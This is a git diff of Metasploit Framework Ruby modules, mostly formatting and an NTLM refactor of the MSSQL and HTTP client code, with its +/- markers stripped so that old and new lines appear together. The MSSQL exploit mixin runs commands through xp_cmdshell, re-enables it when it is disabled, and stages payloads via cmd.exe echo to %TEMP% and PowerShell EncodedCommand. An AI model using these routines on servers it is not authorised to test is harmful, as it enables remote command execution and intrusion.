# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||
|
||||
if tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = proxy.send_recv(pkt)
|
||||
resp = proxy.send_recv(pkt, 15, false)
|
||||
else
|
||||
resp = mssql_send_recv(pkt)
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
end
|
||||
|
||||
# Get default data
|
||||
begin
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
|
||||
# a domain.length < 3 will hit this
|
||||
rescue NTLM_XCEPT::NTLMMissingChallenge
|
||||
return false
|
||||
end
|
||||
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
spnopt = {:use_spn => send_spn, :name => rhost}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
|
||||
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
# Strip the TDS header
|
||||
resp = resp[3..-1]
|
||||
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
|
||||
# Create an SSPIMessage
|
||||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
TYPE_SSPI_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID
|
||||
0x00 #Window
|
||||
pkt_hdr = [
|
||||
TYPE_SSPI_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt_hdr[2] = ntlmssp.length + 8
|
||||
pkt_hdr[2] = type3_blob.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
||||
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||
|
||||
if self.tdsencryption == true
|
||||
resp = mssql_ssl_send_recv(pkt,proxy)
|
||||
resp = mssql_ssl_send_recv(pkt, proxy)
|
||||
proxy.cleanup
|
||||
proxy = nil
|
||||
else
|
||||
|
@ -283,7 +252,7 @@ module Metasploit
|
|||
pkt << dname
|
||||
|
||||
# Total packet length
|
||||
pkt[0,4] = [pkt.length].pack('V')
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
# Embedded packet lengths
|
||||
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
||||
|
@ -294,7 +263,7 @@ module Metasploit
|
|||
if self.tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = mssql_ssl_send_recv(pkt,proxy)
|
||||
resp = mssql_ssl_send_recv(pkt, proxy)
|
||||
proxy.cleanup
|
||||
proxy = nil
|
||||
else
|
||||
|
@ -304,7 +273,7 @@ module Metasploit
|
|||
end
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp,info)
|
||||
info = mssql_parse_reply(resp, info)
|
||||
|
||||
disconnect
|
||||
|
||||
|
@ -316,17 +285,17 @@ module Metasploit
|
|||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
type = buff.slice!(0,1).unpack('C')[0]
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0,1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0,1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
|
@ -337,7 +306,7 @@ module Metasploit
|
|||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0,4).unpack('N')[0]
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
@ -346,7 +315,7 @@ module Metasploit
|
|||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status,cmd,rows = data.slice!(0,8).unpack('vvV')
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
@ -355,11 +324,11 @@ module Metasploit
|
|||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
||||
emsg = buff.slice!(0,elen * 2)
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
|
@ -370,14 +339,14 @@ module Metasploit
|
|||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
||||
emsg = buff.slice!(0,elen * 2)
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos]||= []
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
@ -386,8 +355,8 @@ module Metasploit
|
|||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
|
||||
|
@ -398,7 +367,7 @@ module Metasploit
|
|||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0,1).unpack('C')[0]
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
|
@ -434,14 +403,14 @@ module Metasploit
|
|||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0,2).unpack('v')[0]
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
|
@ -458,8 +427,8 @@ module Metasploit
|
|||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0,4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
|
@ -467,31 +436,31 @@ module Metasploit
|
|||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231,175,167,239
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if(col[:msg_len] and col[:msg_len] > 0)
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
|
@ -517,28 +486,28 @@ module Metasploit
|
|||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0,len)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0,len)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0,8).unpack("H*")[0]
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0,4).unpack('V')[0]
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0,8).unpack("H*")[0]
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
@ -551,8 +520,8 @@ module Metasploit
|
|||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0,1).unpack('C')[0]
|
||||
str = data.slice!(0,len) if (len and len > 0)
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if (len and len > 0)
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
|
@ -560,7 +529,7 @@ module Metasploit
|
|||
raw = data.slice!(0, len) if (len and len > 0)
|
||||
|
||||
case len
|
||||
when 0,255
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
|
@ -573,7 +542,7 @@ module Metasploit
|
|||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
|
@ -595,7 +564,7 @@ module Metasploit
|
|||
pkt_data = ""
|
||||
|
||||
|
||||
pkt_hdr = [
|
||||
pkt_hdr = [
|
||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
|
@ -604,7 +573,7 @@ module Metasploit
|
|||
0x00 #Window
|
||||
]
|
||||
|
||||
version = [0x55010008,0x0000].pack("Vv")
|
||||
version = [0x55010008, 0x0000].pack("Vv")
|
||||
|
||||
# if manually set, we will honour
|
||||
if tdsencryption == true
|
||||
|
@ -615,45 +584,45 @@ module Metasploit
|
|||
|
||||
instoptdata = "MSSQLServer\0"
|
||||
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
|
||||
idx = 21 # size of pkt_data_token
|
||||
pkt_data_token << [
|
||||
0x00, # Token 0 type Version
|
||||
idx , # VersionOffset
|
||||
pkt_data_token << [
|
||||
0x00, # Token 0 type Version
|
||||
idx , # VersionOffset
|
||||
version.length, # VersionLength
|
||||
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
|
||||
0xFF
|
||||
].pack("CnnCnnCnnCnnC")
|
||||
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
idx = 0
|
||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
token = resp.slice!(0,5)
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
|
@ -663,7 +632,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
raise RunTimeError, "Unable to parse encryption req. "\
|
||||
"from server during prelogin"
|
||||
|
@ -701,8 +670,8 @@ module Metasploit
|
|||
|
||||
idx = 0
|
||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
token = resp.slice!(0,5)
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
|
@ -711,7 +680,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
raise RuntimeError, "Unable to parse encryption "\
|
||||
"req during pre-login"
|
||||
|
@ -735,17 +704,17 @@ module Metasploit
|
|||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head and head.length == 8)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if(head[1,1] == "\x01" or not check_status )
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2,2].unpack('n')[0] - 8
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
|
@ -758,7 +727,7 @@ module Metasploit
|
|||
resp
|
||||
end
|
||||
|
||||
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
|
||||
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
||||
tdsproxy.send_recv(req)
|
||||
end
|
||||
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.24"
|
||||
VERSION = "4.12.26"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -96,7 +96,7 @@ module Exploit::Remote::Ftp
|
|||
# This method handles disconnecting our data channel
|
||||
#
|
||||
def data_disconnect
|
||||
self.datasocket.shutdown
|
||||
self.datasocket.shutdown if self.datasocket
|
||||
self.datasocket = nil
|
||||
end
|
||||
|
||||
|
|
|
@ -2,10 +2,6 @@
|
|||
|
||||
require 'uri'
|
||||
require 'digest'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
module Msf
|
||||
|
||||
###
|
||||
|
@ -16,15 +12,6 @@ module Msf
|
|||
###
|
||||
module Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
||||
|
||||
#
|
||||
# Initializes an exploit module that exploits a vulnerability in an HTTP
|
||||
|
@ -194,12 +181,6 @@ module Exploit::Remote::HttpClient
|
|||
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
||||
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
||||
'header_folding' => datastore['HTTP::header_folding'],
|
||||
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
|
||||
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
|
||||
'send_lm' => datastore['NTLM::SendLM'],
|
||||
'send_ntlm' => datastore['NTLM::SendNTLM'],
|
||||
'SendSPN' => datastore['NTLM::SendSPN'],
|
||||
'UseLMKey' => datastore['NTLM::UseLMKey'],
|
||||
'domain' => datastore['DOMAIN'],
|
||||
'DigestAuthIIS' => datastore['DigestAuthIIS']
|
||||
)
|
||||
|
@ -256,12 +237,6 @@ module Exploit::Remote::HttpClient
|
|||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
|
||||
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
|
||||
ntlm_send_lm: datastore['NTLM::SendLM'],
|
||||
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
|
||||
ntlm_send_spn: datastore['NTLM::SendSPN'],
|
||||
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
|
||||
ntlm_domain: datastore['DOMAIN'],
|
||||
digest_auth_iis: datastore['DigestAuthIIS']
|
||||
}.merge(conf)
|
||||
|
|
|
@ -1,11 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -21,41 +16,32 @@ module Exploit::Remote::MSSQL
|
|||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Paquet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
#
|
||||
|
@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL
|
|||
'MsfExploit' => self,
|
||||
})
|
||||
|
||||
|
||||
ping_sock.put("\x02")
|
||||
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
|
||||
resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
|
||||
ping_sock.close
|
||||
|
||||
return data if not resp
|
||||
return data if resp.length == 0
|
||||
|
||||
var = nil
|
||||
|
||||
return mssql_ping_parse(resp)
|
||||
end
|
||||
|
||||
|
@ -145,15 +128,15 @@ module Exploit::Remote::MSSQL
|
|||
#
|
||||
# Execute a system command via xp_cmdshell
|
||||
#
|
||||
def mssql_xpcmdshell(cmd,doprint=false,opts={})
|
||||
def mssql_xpcmdshell(cmd, doprint=false, opts={})
|
||||
force_enable = false
|
||||
begin
|
||||
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
|
||||
if(res[:errors] and not res[:errors].empty?)
|
||||
if(res[:errors].join =~ /xp_cmdshell/)
|
||||
if(force_enable)
|
||||
if res[:errors] && !res[:errors].empty?
|
||||
if res[:errors].join =~ /xp_cmdshell/
|
||||
if force_enable
|
||||
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
||||
raise RuntimeError, "Failed to execute command"
|
||||
raise RuntimeError, "Failed to execute command"
|
||||
else
|
||||
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
||||
mssql_query(mssql_xpcmdshell_enable())
|
||||
|
@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL
|
|||
return res
|
||||
|
||||
rescue RuntimeError => e
|
||||
if(e.to_s =~ /xp_cmdshell disabled/)
|
||||
if e.to_s =~ /xp_cmdshell disabled/
|
||||
force_enable = true
|
||||
retry
|
||||
end
|
||||
|
@ -200,7 +183,7 @@ module Exploit::Remote::MSSQL
|
|||
idx = 0
|
||||
cnt = 500
|
||||
while(idx < hex.length - 1)
|
||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||
idx += cnt
|
||||
end
|
||||
|
||||
|
@ -234,7 +217,7 @@ module Exploit::Remote::MSSQL
|
|||
idx = 0
|
||||
cnt = 500
|
||||
while(idx < hex.length - 1)
|
||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||
idx += cnt
|
||||
end
|
||||
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
||||
|
@ -260,17 +243,17 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head and head.length == 8)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if(head[1,1] == "\x01" or not check_status )
|
||||
if(head[1, 1] == "\x01" or not check_status )
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2,2].unpack('n')[0] - 8
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
|
@ -302,77 +285,77 @@ module Exploit::Remote::MSSQL
|
|||
pkt_data = ""
|
||||
|
||||
|
||||
pkt_hdr = [
|
||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x00, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
pkt_hdr = [
|
||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x00, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
version = [0x55010008,0x0000].pack("Vv")
|
||||
encryption = ENCRYPT_NOT_SUP # off
|
||||
instoptdata = "MSSQLServer\0"
|
||||
version = [0x55010008, 0x0000].pack("Vv")
|
||||
encryption = ENCRYPT_NOT_SUP # off
|
||||
instoptdata = "MSSQLServer\0"
|
||||
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
|
||||
idx = 21 # size of pkt_data_token
|
||||
pkt_data_token << [
|
||||
